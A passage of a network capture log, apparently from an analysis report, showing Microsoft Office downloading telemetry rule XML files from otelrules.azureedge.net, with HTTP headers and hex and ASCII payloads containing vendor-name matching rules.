R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:34 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:34 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092334Z-178bfbc474b7cbwqhC1NYC8z4n00000005r0000000003ny1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:34 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:34 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:34 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 3c827ba2-d01e-0014-367c-3bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092334Z-178bfbc474b9fdhphC1NYCac0n00000005t0000000001hdp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:34 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:34 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:35 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: d05e48d4-001e-0065-1c06-3d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092335Z-178bfbc474bscnbchC1NYCe7eg00000005x0000000007417 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:35 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:36 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:36 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: f1d8b84e-f01e-0096-7de6-3d10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092336Z-178bfbc474bbcwv4hC1NYCypys00000005p00000000045ek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:36 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:36 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:36 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: feb62e3a-f01e-0085-1d2f-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092336Z-178bfbc474bv587zhC1NYCny5w00000005h000000000cvdr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:36 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:36 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:36 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 95105883-701e-001e-6118-3df5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092336Z-178bfbc474bp8mkvhC1NYCzqnn00000005g000000000cm1s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:36 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:37 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: cbc435e9-501e-0016-3f64-3d181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092337Z-15b8b599d88wk8w4hC1TEB14b8000000045g00000000eqkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:37 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:36 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:37 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: babf4520-701e-005c-6e46-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092337Z-178bfbc474bh5zbqhC1NYCkdug00000005pg000000007afx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:38 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:39 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: aaf2b452-f01e-0071-621c-3e431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092339Z-15b8b599d88wn9hhhC1TEBry0g000000049g000000008mha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:39 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:38 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:39 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: a72cf994-301e-0099-6e45-3c6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092339Z-178bfbc474bv587zhC1NYCny5w00000005n0000000006s0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:39 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:39 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:39 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 87817176-601e-003e-034d-3c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092339Z-15b8b599d88hd9g7hC1TEBp75c000000046g0000000080yf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:39 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:39 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:39 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a24720e5-f01e-0096-3f65-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092339Z-178bfbc474bv587zhC1NYCny5w00000005p00000000056kg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:39 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 